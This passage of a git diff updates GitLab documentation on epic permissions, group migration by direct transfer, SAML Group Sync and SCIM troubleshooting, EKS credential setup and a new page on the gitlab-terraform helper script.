Newly added issues appear at the top of the list of issues in the **Epics and Issues** tab.
@@ -350,8 +352,7 @@ current parent.
Prerequisites:
-- You must be able to [view the epic](#who-can-view-an-epic).
-- You must be able to [edit the issue](../../project/issues/managing_issues.md#edit-an-issue).
+- You must have at least the Guest role for the issue's project and the epic's group.
To add an existing issue to an epic:
@@ -368,13 +369,14 @@ To add an existing issue to an epic:
#### Create an issue from an epic
+> Minimum required role for the project [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/382506) from Reporter to Guest in GitLab 15.8.
+
Creating an issue from an epic enables you to maintain focus on the broader context of the epic
while dividing work into smaller parts.
Prerequisites:
-- You must be able to [view the epic](#who-can-view-an-epic).
-- You must have at least the Reporter role for the project.
+- You must have at least the Guest role for the issue's project and the epic's group.
To create an issue from an epic:
@@ -388,13 +390,14 @@ The new issue is assigned to the epic.
### Remove an issue from an epic
+> Minimum required role for the project [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/382506) from Reporter to Guest in GitLab 15.8.
+
You can remove issues from an epic when you're on the epic's details page.
After you remove an issue from an epic, the issue is no longer associated with this epic.
Prerequisites:
-- You must have at least the Reporter role for the epic's group.
-- You must be able to [edit the issue](../../project/issues/managing_issues.md#edit-an-issue).
+- You must have at least the Guest role for the issue's project and the epic's group.
To remove an issue from an epic:
@@ -406,14 +409,15 @@ To remove an issue from an epic:
### Reorder issues assigned to an epic
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9367) in GitLab 12.5.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9367) in GitLab 12.5.
+> - Minimum required role for the project [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/382506) from Reporter to Guest in GitLab 15.8.
New issues appear at the top of the list in the **Epics and Issues** tab.
You can reorder the list of issues by dragging them.
Prerequisites:
-- You must have at least the Reporter role for the epic's group.
+- You must have at least the Guest role for the issue's project and the epic's group.
To reorder issues assigned to an epic:
@@ -422,15 +426,15 @@ To reorder issues assigned to an epic:
### Move issues between epics **(ULTIMATE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33039) in GitLab 13.0.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33039) in GitLab 13.0.
+> - Minimum required role for the project [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/382506) from Reporter to Guest in GitLab 15.8.
New issues appear at the top of the list in the **Epics and Issues**
tab. You can move issues from one epic to another.
Prerequisites:
-- You must have at least the Reporter role for the epic's group.
-- You must be able to [edit the issue](../../project/issues/managing_issues.md#edit-an-issue).
+- You must have at least the Guest role for the issue's project and the epic's group.
To move an issue to another epic:
diff --git a/doc/user/group/import/img/bulk_imports_v14_1.png b/doc/user/group/import/img/bulk_imports_v14_1.png
deleted file mode 100644
index fb419c1df6c..00000000000
--- a/doc/user/group/import/img/bulk_imports_v14_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/import/index.md b/doc/user/group/import/index.md
index 9a671ff6679..c264b5ceaf8 100644
--- a/doc/user/group/import/index.md
+++ b/doc/user/group/import/index.md
@@ -26,20 +26,16 @@ If you migrate from GitLab.com to self-managed GitLab, an administrator can crea
> - Group items [enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/338985) in GitLab 14.3.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267945) in GitLab 14.4 for project resources [with a flag](../../feature_flags.md) named `bulk_import_projects`. Disabled by default.
> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/339941) in GitLab 15.6.
+> - New application setting `bulk_import_enabled` [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/383268) in GitLab 15.8. `bulk_import` feature flag removed.
FLAG:
-On self-managed GitLab, by default [migrating group items](#migrated-group-items) is available. To hide the
-feature, ask an administrator to [disable the feature flag](../../../administration/feature_flags.md) named `bulk_import`.
-On self-managed GitLab, by default [migrating project items](#migrated-project-items) is not available. To show
+On self-managed GitLab, by default [migrating group items](#migrated-group-items) is not available. To show the
+feature, ask an administrator to [enable it in application settings](../../admin_area/settings/visibility_and_access_controls.md#enable-migration-of-groups-and-projects-by-direct-transfer).
+Also on self-managed GitLab, by default [migrating project items](#migrated-project-items-beta) is not available. To show
this feature, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named
-`bulk_import_projects`. On GitLab.com, migration of both groups and projects is available.
+`bulk_import_projects`. The feature is not ready for production use. On GitLab.com, migration of both groups and projects is available.
-Prerequisites:
-
-- Network connection between instances or GitLab.com. Must support HTTPS.
-- Owner role on the top-level group to migrate.
-
-You can import top-level groups to:
+You can migrate top-level groups to:
- Another top-level group.
- The subgroup of any existing top-level group.
@@ -47,15 +43,34 @@ You can import top-level groups to:
You can migrate:
-- By direct transfer using either the UI or the [API](../../../api/bulk_imports.md).
+- By direct transfer through either the UI or the [API](../../../api/bulk_imports.md).
- Many groups at once.
+- With projects (in [Beta](../../../policy/alpha-beta-support.md#beta-features) and not ready for production use) or
+ without projects.
-When migrating a top-level group to GitLab.com, all its subgroups and projects are migrated too.
+When you migrate a group by direct transfer, you can also migrate subgroups and projects. When you migrate a group:
+
+- To GitLab.com, all its subgroups and projects are migrated too.
+- To a self-managed instance, migrating project items is not available by default. An administrator must
+ [enable the feature flag](../../../administration/feature_flags.md) named `bulk_import_projects`.
+
+WARNING:
+Migrating subgroups and projects this way is in [Beta](../../../policy/alpha-beta-support.md#beta-features) and is not
+ready for production use.
Not all group and project resources are imported. See list of migrated resources below:
- [Migrated group items](#migrated-group-items).
-- [Migrated project items](#migrated-project-items).
+- [Migrated project items](#migrated-project-items-beta).
+
+Prerequisites:
+
+- Network connection between instances or GitLab.com. Must support HTTPS.
+- Both GitLab instances have [migration enabled in application settings](../../admin_area/settings/visibility_and_access_controls.md#enable-migration-of-groups-and-projects-by-direct-transfer)
+ by an instance administrator.
+- Owner role on the top-level source group to migrate from.
+- At least the Maintainer role on the destination group to migrate to. Using the Developer role for this purpose was
+ [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0.
### Preparation
@@ -94,16 +109,19 @@ Create the group you want to import to and connect the source:
### Select the groups to import
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/385689) in GitLab 15.8, option to import groups with or without projects.
+
After you have authorized access to the source GitLab instance, you are redirected to the GitLab group
importer page. The top-level groups on the connected source instance you have the Owner role for are listed.
1. By default, the proposed group namespaces match the names as they exist in source instance, but based on your permissions, you can choose to edit these names before you proceed to import any of them.
-1. Next to the groups you want to import, select **Import**.
+1. Next to the groups you want to import, select either:
+ - **Import with projects**. Importing groups with projects is in [Beta](../../../policy/alpha-beta-support.md#beta-features). This feature is not ready for production use.
+ - **Import without projects**.
+ - **Import** on self-managed GitLab, when the `bulk_import_projects` feature flag is disabled and the feature is not available.
1. The **Status** column shows the import status of each group. If you leave the page open, it updates in real-time.
1. After a group has been imported, select its GitLab path to open its GitLab URL.
-![Group Importer page](img/bulk_imports_v14_1.png)
-
### Group import history
You can view all groups migrated by you by direct transfer listed on the group import history page. This list includes:
@@ -155,19 +173,25 @@ Group items that are migrated to the target instance include:
Any other items are **not** migrated.
-### Migrated project items
+### Migrated project items (beta)
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267945) in GitLab 14.4 [with a flag](../../feature_flags.md) named `bulk_import_projects`. Disabled by default.
> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/339941) in GitLab 15.6.
FLAG:
-On self-managed GitLab, migrating project resources when migrating groups is not available by default. To make it available ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `bulk_import_projects`. On GitLab.com, groups are migrated with all their projects by default.
+On self-managed GitLab, migrating project resources when migrating groups is not available by default.
+To make it available ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named
+`bulk_import_projects`. On GitLab.com, groups are migrated with all their projects by default.
The [`import_export.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/import_export/project/import_export.yml)
file for projects lists many of the items imported when migrating projects using group migration. View this file in the branch
for your version of GitLab to see the list of items relevant to you. For example,
[`import_export.yml` on the `14-10-stable-ee` branch](https://gitlab.com/gitlab-org/gitlab/-/blob/14-10-stable-ee/lib/gitlab/import_export/project/import_export.yml).
+WARNING:
+Migrating projects when migrating groups by direct transfer is in [Beta](../../../policy/alpha-beta-support.md#beta-features)
+and is not ready for production use.
+
Project items that are migrated to the target instance include:
- Projects ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267945) in GitLab 14.4)
@@ -390,7 +414,7 @@ You can also export a group [using the API](../../../api/group_import_export.md)
1. Create a new group:
- On the top bar, select **Create new…** (**{plus-square}**) and then **New group**.
- - On an existing group's page, select the **New subgroup** button.
+ - On an existing group's page, select **New subgroup**.
1. Select **Import group**.
1. Enter your group name.
1. Accept or modify the associated group URL.
@@ -405,7 +429,7 @@ The maximum import file size can be set by the administrator, default is `0` (un
As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the
[Application settings API](../../../api/settings.md#change-application-settings) or the
[Admin Area](../../admin_area/settings/account_and_limit_settings.md).
-Default [modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50MB to 0 in GitLab 13.8.
+Default [modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50 MB to 0 in GitLab 13.8.
### Rate limits
diff --git a/doc/user/group/index.md b/doc/user/group/index.md
index 62659938d91..db01358d899 100644
--- a/doc/user/group/index.md
+++ b/doc/user/group/index.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
@@ -25,7 +25,7 @@ For more information about creating and managing your groups, see [Manage groups
Like projects, a group can be configured to limit the visibility of it to:
- Anonymous users.
-- All signed-in users.
+- All authenticated users.
- Only explicit group members.
The restriction for [visibility levels](../admin_area/settings/visibility_and_access_controls.md#restrict-visibility-levels)
diff --git a/doc/user/group/manage.md b/doc/user/group/manage.md
index 414b80d0f1d..a755447c47c 100644
--- a/doc/user/group/manage.md
+++ b/doc/user/group/manage.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
@@ -213,7 +213,7 @@ To avoid this problem, GitLab administrators can [ensure removed users cannot in
There are two different ways to add a new project to a group:
-- Select a group, and then select **New project**. You can then continue [creating your project](../../user/project/working_with_projects.md#create-a-project).
+- Select a group, and then select **New project**. You can then continue [creating your project](../../user/project/index.md#create-a-project).
- While you are creating a project, select a group from the dropdown list.
![Select group](img/select_group_dropdown_13_10.png)
diff --git a/doc/user/group/reporting/git_abuse_rate_limit.md b/doc/user/group/reporting/git_abuse_rate_limit.md
index 1cf3a9dbe7d..a5515079294 100644
--- a/doc/user/group/reporting/git_abuse_rate_limit.md
+++ b/doc/user/group/reporting/git_abuse_rate_limit.md
@@ -4,12 +4,12 @@ group: Anti-Abuse
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Git abuse rate limit **(ULTIMATE SELF)**
+# Git abuse rate limit **(ULTIMATE)**
> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/8066) in GitLab 15.2 [with a flag](../../../administration/feature_flags.md) named `limit_unique_project_downloads_per_namespace_user`. Disabled by default.
FLAG:
-On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `limit_unique_project_downloads_per_namespace_user`. On GitLab.com, this feature is not available.
+On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `limit_unique_project_downloads_per_namespace_user`. On GitLab.com, this feature is available.
Git abuse rate limiting is a feature to automatically ban users who download or clone more than a specified number of repositories in a group or any of its subgroups within a given time frame. Banned users cannot access the main group or any of its non-public subgroups via HTTP or SSH. Access to unrelated groups is unaffected.
@@ -31,6 +31,10 @@ If automatic banning is enabled, users with the Owner role for the main group re
## Unban a user
+Prerequisites:
+
+- You must have the Owner role.
+
1. On the left sidebar, select **Group information > Members**.
1. Select the **Banned** tab.
1. For the account you want to unban, select **Unban**.
diff --git a/doc/user/group/saml_sso/group_sync.md b/doc/user/group/saml_sso/group_sync.md
index 80d145fc6bb..65c4d68f743 100644
--- a/doc/user/group/saml_sso/group_sync.md
+++ b/doc/user/group/saml_sso/group_sync.md
@@ -27,19 +27,40 @@ You must include the SAML configuration block on all Sidekiq nodes in addition t
- Use SAML Group Sync.
- Have multiple GitLab nodes, for example in a distributed or highly available architecture.
+NOTE:
+SAML Group Sync is only supported for the [SAML provider named `saml`](../../../integration/saml.md#configure-gitlab-to-use-multiple-saml-idps).
+As a result, SAML Group Sync only supports a single SAML provider. For more information, see [issue 386605](https://gitlab.com/gitlab-org/gitlab/-/issues/386605).
+
WARNING:
To prevent users being accidentally removed from the GitLab group, follow these instructions closely before
enabling Group Sync in GitLab.
-To configure SAML Group Sync:
-
-1. Configure the identity Provider:
- - For self-managed GitLab, see the [SAML OmniAuth Provider documentation](../../../integration/saml.md).
- - For GitLab.com, see the [SAML SSO for GitLab.com groups documentation](index.md).
-
-1. Capture [a SAML response](troubleshooting.md#saml-debugging-tools) during the sign-in process to confirm your SAML identity provider sends an attribute statement:
- - For self-managed GitLab, with the same name as the value of the `groups_attribute` setting.
- - For GitLab.com, named `Groups` or `groups`.
+To configure SAML Group Sync for self-managed GitLab instances:
+
+1. Configure the [SAML OmniAuth Provider](../../../integration/saml.md).
+1. Ensure your SAML identity provider sends an attribute statement with the same name as the value of the `groups_attribute` setting. See the following attribute statement example for reference:
+
+ ```ruby
+ gitlab_rails['omniauth_providers'] = [
+ {
+ name: "saml",
+ label: "Provider name", # optional label for login button, defaults to "Saml",
+ groups_attribute: 'Groups',
+ args: {
+ assertion_consumer_service_url: "https://gitlab.example.com/users/auth/saml/callback",
+ idp_cert_fingerprint: "43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8",
+ idp_sso_target_url: "https://login.example.com/idp",
+ issuer: "https://gitlab.example.com",
+ name_identifier_format: "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent"
+ }
+ }
+ ]
+ ```
+
+To configure SAML Group Sync for GitLab.com instances:
+
+1. See [SAML SSO for GitLab.com groups](index.md).
+1. Ensure your SAML identity provider sends an attribute statement named `Groups` or `groups`.
NOTE:
The value for `Groups` or `groups` in the SAML response may be either the group name or an ID.
diff --git a/doc/user/group/saml_sso/index.md b/doc/user/group/saml_sso/index.md
index bd10560e138..1275e3a21e4 100644
--- a/doc/user/group/saml_sso/index.md
+++ b/doc/user/group/saml_sso/index.md
@@ -157,7 +157,7 @@ When the transparent SSO enforcement feature flag is enabled, SSO is enforced as
| Public | Off | Enforced | Not enforced | Not enforced |
| Public | On | Enforced | Enforced | Not enforced |
-An [issue exists](https://gitlab.com/gitlab-org/gitlab/-/issues/297389) to add a similar SSO requirement for API activity.
+An [issue exists](https://gitlab.com/gitlab-org/gitlab/-/issues/297389) to add a similar SSO requirement for API and GitLab Pages activities.
SSO enforcement has the following effects when enabled:
@@ -370,7 +370,11 @@ On subsequent visits, you should be able to go [sign in to GitLab.com with SAML]
### Change NameID for one or more users
-If the NameID changes for one or more users, they need to reconnect their SAML account.
+> Update of SAML identities using the SAML API [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227841) in GitLab 15.5.
+
+Group owners can update the SAML identities for their group members using the [SAML API](../../../api/saml.md).
+
+Alternatively, ask the users to reconnect their SAML account.
1. Ask relevant users to [unlink their account from the group](#unlinking-accounts).
1. Ask relevant users to [link their account to the new SAML app](#linking-saml-to-your-existing-gitlabcom-account).
diff --git a/doc/user/group/saml_sso/scim_setup.md b/doc/user/group/saml_sso/scim_setup.md
index 18af39f4271..8c30c246566 100644
--- a/doc/user/group/saml_sso/scim_setup.md
+++ b/doc/user/group/saml_sso/scim_setup.md
@@ -15,7 +15,7 @@ GitLab SAML SSO SCIM doesn't support updating users.
When SCIM is enabled for a GitLab group, membership of that group is synchronized between GitLab and an identity provider.
-The [internal GitLab SCIM API](../../../development/internal_api/index.md#scim-api) implements part of [the RFC7644 protocol](https://www.rfc-editor.org/rfc/rfc7644).
+The [internal GitLab group SCIM API](../../../development/internal_api/index.md#group-scim-api) implements part of [the RFC7644 protocol](https://www.rfc-editor.org/rfc/rfc7644).
## Configure GitLab
@@ -121,7 +121,7 @@ attributes and modify them accordingly. In particular, the `objectId` source att
target attribute.
If a mapping is not listed in the table, use the Azure Active Directory defaults. For a list of required attributes,
-refer to the [internal SCIM API](../../../development/internal_api/index.md#scim-api) documentation.
+refer to the [internal group SCIM API](../../../development/internal_api/index.md#group-scim-api) documentation.
### Configure Okta
diff --git a/doc/user/group/saml_sso/troubleshooting.md b/doc/user/group/saml_sso/troubleshooting.md
index f8075e62ecc..a42d3f8fd03 100644
--- a/doc/user/group/saml_sso/troubleshooting.md
+++ b/doc/user/group/saml_sso/troubleshooting.md
@@ -52,7 +52,7 @@ You can use one of the following to troubleshoot SAML:
- A [quick start guide to start a Docker container](../../../administration/troubleshooting/test_environments.md#saml)
with a plug and play SAML 2.0 identity provider if you only require a SAML provider.
- A local environment by
- [enabling SAML for groups on a self-managed instance](../../../integration/saml.md#group-saml-on-a-self-managed-gitlab-instance).
+ [enabling SAML for groups on a self-managed instance](../../../integration/saml.md#configure-group-saml-sso-on-a-self-managed-instance).
## Verify configuration
@@ -233,6 +233,13 @@ If you receive a `404` during setup when using "verify configuration", make sure
If a user is trying to sign in for the first time and the GitLab single sign-on URL has not [been configured](index.md#configure-your-identity-provider), they may see a 404.
As outlined in the [user access section](index.md#linking-saml-to-your-existing-gitlabcom-account), a group Owner needs to provide the URL to users.
+If all users are receiving a `404` after signing in to the identity provider (IdP), verify the `assertion_consumer_service_url`:
+
+- In the GitLab configuration by [matching it to the HTTPS endpoint of GitLab](../../../integration/saml.md#configure-saml-support-in-gitlab).
+- As the `Assertion Consumer Service URL` or equivalent when setting up the SAML app on your IdP.
+
+For configuration examples for some of the common providers, see the [example group SAML and SCIM configurations](example_saml_config.md).
+
### 500 error after login **(FREE SELF)**
If you see a "500 error" in GitLab when you are redirected back from the SAML
@@ -281,3 +288,12 @@ this means:
A GitLab group Owner can use the [SAML API](../../../api/saml.md) to update the user's SAML `extern_uid`.
The `extern_uid` value must match the Name ID value sent by the SAML identity provider (IdP). Depending on the IdP configuration
this may be a generated unique ID, an email address, or other value.
+
+## Message: "The member's email address is not linked to a SAML account" **(PREMIUM SAAS)**
+
+This error appears when you try to invite a user to a GitLab.com group (or subgroup or project within a group) that has [SAML SSO enforcement](index.md#sso-enforcement) enabled.
+
+If you see this message after trying to invite a user to a group:
+
+1. Ensure the user has been [added to the SAML identity provider](index.md#user-access-and-management).
+1. Ask the user to [link SAML to their existing GitLab.com account](index.md#linking-saml-to-your-existing-gitlabcom-account), if they have one. Otherwise, ask the user to create a GitLab.com account by [accessing GitLab.com through the identity provider's dashboard](index.md#user-access-and-management), or by [signing up manually](https://gitlab.com/users/sign_up) and linking SAML to their new account.
diff --git a/doc/user/group/saml_sso/troubleshooting_scim.md b/doc/user/group/saml_sso/troubleshooting_scim.md
index 22562c51e9e..939ed804a99 100644
--- a/doc/user/group/saml_sso/troubleshooting_scim.md
+++ b/doc/user/group/saml_sso/troubleshooting_scim.md
@@ -100,7 +100,7 @@ Changing the SAML or SCIM configuration or provider can cause the following prob
GitLab.com administrators can search for SCIM requests in the `api_json.log` using the `pubsub-rails-inf-gprd-*` index in
[Kibana](https://about.gitlab.com/handbook/support/workflows/kibana.html#using-kibana). Use the following filters based
-on the internal [SCIM API](../../../development/internal_api/index.md#scim-api):
+on the internal [group SCIM API](../../../development/internal_api/index.md#group-scim-api):
- `json.path`: `/scim/v2/groups/<group-path>`
- `json.params.value`: `<externalId>`
diff --git a/doc/user/group/subgroups/index.md b/doc/user/group/subgroups/index.md
index 95c8e60af5d..f8d3456648d 100644
--- a/doc/user/group/subgroups/index.md
+++ b/doc/user/group/subgroups/index.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
@@ -66,16 +66,16 @@ In the hierarchy list, public groups with a private subgroup have an expand opti
for all users that indicate there is a subgroup. When users who are not direct or inherited members of
the private subgroup select expand (**{chevron-down}**), the nested subgroup does not display.
-If you prefer to keep information about the presence of nested subgroups private, we advise that you only
-add private subgroups to private parent groups.
+If you prefer to keep information about the presence of nested subgroups private, we advise that you
+add private subgroups only to private parent groups.
## Create a subgroup
Prerequisites:
-- You must either:
- - Have at least the Maintainer role for a group to create subgroups for it.
- - Have the [role determined by a setting](#change-who-can-create-subgroups). These users can create
+- You must have either:
+ - At least the Maintainer role for a group to create subgroups for it.
+ - The [role determined by a setting](#change-who-can-create-subgroups). These users can create
subgroups even if group creation is
[disabled by an Administrator](../../admin_area/index.md#prevent-a-user-from-creating-groups) in the user's settings.
@@ -92,8 +92,9 @@ To create a subgroup:
### Change who can create subgroups
-To create a subgroup, you must have at least the Maintainer role on the group, depending on the group's setting. By
-default:
+Prerequisite:
+
+- You must have at least the Maintainer role on the group, depending on the group's setting.
To change who can create subgroups on a group:
@@ -120,11 +121,11 @@ There is a bug that causes some pages in the parent group to be accessible by su
When you add a member to a group, that member is also added to all subgroups. The user's permissions are inherited from
the group's parent.
-Subgroup members can:
+Subgroup members can be:
-1. Be [direct members](../../project/members/index.md#add-users-to-a-project) of the subgroup.
-1. [Inherit membership](../../project/members/index.md#inherited-membership) of the subgroup from the subgroup's parent group.
-1. Be a member of a group that was [shared with the subgroup's top-level group](../manage.md#share-a-group-with-another-group).
+1. [Direct members](../../project/members/index.md#add-users-to-a-project) of the subgroup.
+1. [Inherited members](../../project/members/index.md#inherited-membership) of the subgroup from the subgroup's parent group.
+1. Members of a group that was [shared with the subgroup's top-level group](../manage.md#share-a-group-with-another-group).
```mermaid
flowchart RL
diff --git a/doc/user/group/value_stream_analytics/index.md b/doc/user/group/value_stream_analytics/index.md
index 1c02ca59e3d..8635b4567ef 100644
--- a/doc/user/group/value_stream_analytics/index.md
+++ b/doc/user/group/value_stream_analytics/index.md
@@ -119,10 +119,10 @@ In GitLab 13.9 and later, deployment frequency metrics are calculated based on w
In GitLab 13.8 and earlier, deployment frequency metrics are calculated based on when the deployment was created.
<div class="video-fallback">
- See the video: <a href="https://www.youtube.com/embed/wQU-mWvNSiI">DORA metrics and value stream analytics</a>.
+ See the video: <a href="https://www.youtube.com/watch?v=wQU-mWvNSiI">DORA metrics and value stream analytics</a>.
</div>
<figure class="video-container">
- <iframe src="https://www.youtube.com/embed/wQU-mWvNSiI" frameborder="0" allowfullscreen="true"> </iframe>
+ <iframe src="https://www.youtube-nocookie.com/embed/wQU-mWvNSiI" frameborder="0" allowfullscreen> </iframe>
</figure>
### How value stream analytics aggregates data
diff --git a/doc/user/infrastructure/clusters/connect/new_eks_cluster.md b/doc/user/infrastructure/clusters/connect/new_eks_cluster.md
index 8a5c32150c9..cefa8885bfe 100644
--- a/doc/user/infrastructure/clusters/connect/new_eks_cluster.md
+++ b/doc/user/infrastructure/clusters/connect/new_eks_cluster.md
@@ -60,6 +60,53 @@ To create a GitLab agent for Kubernetes:
1. GitLab generates a registration token for the agent. Securely store this secret token, as you will need it later.
1. GitLab provides an address for the agent server (KAS), which you will also need later.
+## Set up AWS credentials
+
+Set up your AWS credentials when you want to authenticate AWS with GitLab.
+
+1. Create an [IAM User](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) or [IAM Role](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html).
+1. Make sure that your IAM user or role has the appropriate permissions for your project. For this example project, you must have the permissions shown below. You can expand this when you set up your own project.
+
+ ```json
+ // IAM custom Policy definition
+ {
+ "Version": "2012-10-17",
+ "Statement": [
+ {
+ "Sid": "VisualEditor0",
+ "Effect": "Allow",
+ "Action": [
+ "ec2:*",
+ "eks:*",
+ "elasticloadbalancing:*",
+ "autoscaling:*",
+ "cloudwatch:*",
+ "logs:*",
+ "kms:DescribeKey",
+ "iam:AddRoleToInstanceProfile",
+ "iam:AttachRolePolicy",
+ "iam:CreateInstanceProfile",
+ "iam:CreateRole",
+ "iam:CreateServiceLinkedRole",
+ "iam:GetRole",
+ "iam:ListAttachedRolePolicies",
+ "iam:ListRolePolicies",
+ "iam:ListRoles",
+ "iam:PassRole",
+ // required for destroy step
+ "iam:DetachRolePolicy",
+ "iam:ListInstanceProfilesForRole",
+ "iam:DeleteRole"
+ ],
+ "Resource": "*"
+ }
+ ]
+ }
+ ```
+
+1. [Create an access key for the user or role](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html).
+1. Save your access key and secret. You need these to authenticate AWS with GitLab.
+
## Configure your project
Use CI/CD environment variables to configure your project.
diff --git a/doc/user/infrastructure/clusters/manage/management_project_applications/runner.md b/doc/user/infrastructure/clusters/manage/management_project_applications/runner.md
index 4c68ec42712..3084cc28c9b 100644
--- a/doc/user/infrastructure/clusters/manage/management_project_applications/runner.md
+++ b/doc/user/infrastructure/clusters/manage/management_project_applications/runner.md
@@ -35,7 +35,7 @@ These values can be specified using [CI/CD variables](../../../../../ci/variable
The methods of specifying these values are mutually exclusive. Either specify variables `GITLAB_RUNNER_REGISTRATION_TOKEN` and `CI_SERVER_URL` as CI variables (recommended) or provide values for `runnerRegistrationToken:` and `gitlabUrl:` in `applications/gitlab-runner/values.yaml.gotmpl`.
-The runner registration token allows connection to a project by a runner and therefore should be treated as a secret to prevent malicious use and code exfiltration through a runner. For this reason, we recommend that you specify the runner registration token as a [protected variable](../../../../../ci/variables/index.md#protected-cicd-variables) and [masked variable](../../../../../ci/variables/index.md#mask-a-cicd-variable) and do not commit them to the Git repository in the `values.yaml.gotmpl` file.
+The runner registration token allows connection to a project by a runner and therefore should be treated as a secret to prevent malicious use and code exfiltration through a runner. For this reason, we recommend that you specify the runner registration token as a [protected variable](../../../../../ci/variables/index.md#protect-a-cicd-variable) and [masked variable](../../../../../ci/variables/index.md#mask-a-cicd-variable) and do not commit them to the Git repository in the `values.yaml.gotmpl` file.
You can customize the installation of GitLab Runner by defining
`applications/gitlab-runner/values.yaml.gotmpl` file in your cluster
diff --git a/doc/user/infrastructure/iac/gitlab_terraform_helpers.md b/doc/user/infrastructure/iac/gitlab_terraform_helpers.md
new file mode 100644
index 00000000000..8be949c40cd
--- /dev/null
+++ b/doc/user/infrastructure/iac/gitlab_terraform_helpers.md
@@ -0,0 +1,137 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# GitLab Terraform helpers **(FREE)**
+
+GitLab provides two helpers to ease your integration with the [GitLab-managed Terraform State](terraform_state.md).
+
+- The `gitlab-terraform` script, which is a thin wrapper around the `terraform` command.
+- The `terraform-images` container images, which include the `gitlab-terraform` script and `terraform` itself.
+
+Both helpers are maintained in the [Terraform Images](https://gitlab.com/gitlab-org/terraform-images)
+project.
+
+## `gitlab-terraform`
+
+The `gitlab-terraform` script is a thin wrapper around the `terraform` command.
+
+Run `gitlab-terraform` in a CI/CD pipeline to set up the necessary environment
+variables to connect to the [GitLab-managed Terraform State](terraform_state.md) backend.
+
+### Source (but do not run) the helper script
+
+When the `gitlab-terraform` script is sourced, it
+configures the environment for a `terraform` call, but does not
+actually run `terraform`. You can source the script when you need to do
+extra steps to prepare your environment, or to use alternative
+tools like `terragrunt`.
+
+To source the script, execute:
+
+```shell
+source $(which gitlab-terraform)
+```
+
+Some shells, like BusyBox, do not support the case
+of another script sourcing your script. For more information, see [this Stack Overflow thread](https://stackoverflow.com/a/28776166).
+To resolve this issue, you should use `bash`, `zsh` or `ksh`, or source `gitlab-terraform` directly
+from the shell.
+
+### Commands
+
+You can run `gitlab-terraform` with the following commands.
+
+| Command | Forwards command line? | Implicit init? | Description |
+|------------------------------|------------------------|-----------------------|--------------------------------------------------------------------------------------------------------|
+| `gitlab-terraform apply` | Yes | Yes | Runs `terraform apply`. |
+| `gitlab-terraform destroy` | Yes | Yes | Runs `terraform destroy`. |
+| `gitlab-terraform fmt` | Yes | No | Runs `terraform fmt` in check mode. |
+| `gitlab-terraform init` | Yes | Not applicable | Runs `terraform init`. |
+| `gitlab-terraform plan` | Yes | Yes | Runs `terraform plan` and produces a `plan.cache` file. |
+| `gitlab-terraform plan-json` | No | No | Converts a `plan.cache` file into a GitLab Terraform report for a [MR integration](mr_integration.md). |
+| `gitlab-terraform validate` | Yes | Yes (without backend) | Runs `terraform validate`. |
+| `gitlab-terraform -- <cmd>` | Yes | No | Runs `terraform <cmd>`, even if it is wrapped. |
+| `gitlab-terraform <cmd>` | Yes | No | Runs `terraform <cmd>`, if the command is not wrapped. |
+
+### Generic variables
+
+When you run `gitlab-terraform`, these variables are configured.
+
+| Variable | Default | Description |
+|----------------------|--------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| `TF_ROOT` | Not set | Root of the Terraform configuration. If set, it is used as the Terraform `-chdir` argument value. All read and written files are relative to the given configuration root. |
+| `TF_CLI_CONFIG_FILE` | `$HOME/.terraformrc` | Location of the [Terraform configuration file](https://developer.hashicorp.com/terraform/cli/config/config-file). |
+| `TF_IN_AUTOMATION` | `true` | Set to `true` to indicate that Terraform commands are automated. |
